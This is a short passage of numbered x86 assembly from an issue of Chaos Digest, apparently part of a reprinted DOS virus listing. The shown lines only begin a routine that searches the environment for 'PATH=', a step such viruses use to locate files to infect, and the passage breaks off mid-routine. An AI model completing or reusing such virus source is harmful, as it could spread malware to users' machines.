  692.         MOV     DI,0                  ;ES:DI points to environment
  693.  
  694. ;************************************************************
  695. ;        Find the "PATH=" string in the environment
  696. ;************************************************************
  697.  
  698. find_path:
  699.         POP     SI
  700.         PUSH    SI                      ;Get SI back
  701.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  702.         LODSB
  703.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  704.         REPNZ   SCASB                   ;Search for first character
  705.         MOV     CX,4
  706.  
  707. ------------------------------
  708.  
  709. End of Chaos Digest #1.30
  710. ************************************
  711.